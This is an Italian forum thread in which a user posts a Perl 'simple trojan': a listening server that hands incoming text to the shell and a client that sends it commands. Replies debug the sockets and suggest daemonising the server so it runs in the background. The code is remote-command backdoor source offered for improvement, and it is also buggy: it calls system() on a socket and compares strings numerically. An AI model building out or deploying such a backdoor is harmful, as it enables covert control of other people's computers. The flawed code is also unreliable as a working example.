Semplicissimo Trojan

Stato
Discussione chiusa ad ulteriori risposte.

imported_opocaj

Utente Silver
18 Dicembre 2007
215
10
0
98
Ho scritto questo abbozzo di trojan (abbozzo perché va fatto eseguire all'user ogni volta, ma l'ho fatto ora in 10 minuti) che passa comandi arbitrari alla shell. Il server resta in ascolto, anche se il prompt se ne resta aperto in bella mostra (non fa niente, questo è solo per vedere lo scheletro del trojan). Purtroppo non li sono riusciti a far provare a scambiarsi messaggi perché tutti e due sulla porta 4000 non me li fa lavorare contemporaneamente.
Comunque ecco il codice:
Server.pl
Codice:
use IO::Socket;
$ip="127.0.0.1";
$port="4000";
$sock=new IO::Socket::INET(
LocalHost=>$ip,
LocalPort=>$port,
Proto=>"tcp",
Listen=>1,
Reuse=>1,
);
do {
  $ist=$sock->accept();
  $mex=system($ist);
  print $sock $mex;
} while ($ist!="exit");
close($sock);
Client.pl
Codice:
use IO::Socket;
$ip="127.0.0.1";
$port="4000";
$sock=new IO::Socket::INET(
PeerHost=>$ip,
PeerPort=>$port,
Proto=>"tcp",
) or die "Impossibile connettersi al Server";
print "Inserire exit per chiudere la connessione";
$ist=1;
while ($ist!="exit") {
  print "Comando da far eseguire al server: ";
  $ist=<STDIN>;
  print $sock $ist;
  while (<$sock>) {
    print "Il server risponde: $_";
  }
}
close($sock);
Gradirei che qualcuno più esperto di me mi indicasse eventuali errori o suggerimenti per migliorarlo.
 
per applicazioni di questo tipo potresti utilizzare le librerie twisted oppure asyncore o asynchat, ti semplificherebbero un po la vita.
Inoltre per farli dialogare localmente non ha senso, quindi, se hai bisogno ti posto un po di codice, che gentilmente un utente mi ha fornito, in quanto la procedura differisce leggermente dallo standard che trovi online.
 
Come detto anche sul mio forum, non riesci a farli comunicare semplicemente perché nel codice del client, prima del ciclo di lettura, metti una accept() sul socket che non ha senso! Il client è già connesso al server in quel momento, quindi essendo il socket un descrittore bidirezionale puoi tranquillamente leggere da quello esistente. Se crei un nuovo socket figlio da mettere in accept() di connessioni, questo proverà a mettersi in listen sulla porta specificata, che essendo già occupata dal server ti darà un errore di connessione.

Poi, per runnare il server in background puoi benissimo utilizzare il modulo Proc::Daemon.
 
Quindi Black dovrei togliere accept dal client e dovrebbero andare tutti e due?
Comunque le cose per far andare il server in background o in avvio automatico me le studio più avanti, ora era solo per provare un po i socket in Perl.
 
provo a farne un porting in python, così imparo i socket di tale linguaggio.

cmq nn si potrebbe fare che il server se ne sta sulla 4000 e il client sulla 3999 in modo che possano comunicare fra loro senza problemi?

[ot]considerate che sono niubbissimo dei socket, quindi magari ho postato una caxxata[/ot]
 
No, il mio errore era che mettevo $sock->accept() su ambedue, apposta non andavano insieme.
Le porte devono essere uguali, perché se il server ascolta sulla 4000 e tu ti connetti col client alla 3999 vien da se che non c'è nessun server a cui connettersi.
 
opocaj ha detto:
No, il mio errore era che mettevo $sock->accept() su ambedue, apposta non andavano insieme.
Le porte devono essere uguali, perché se il server ascolta sulla 4000 e tu ti connetti col client alla 3999 vien da se che non c'è nessun server a cui connettersi.

ho sparato io una caxxata, nn so perché ho pensato che il client dovesse mettersi in ascolto su una sua porta :asd:
 
Stato
Discussione chiusa ad ulteriori risposte.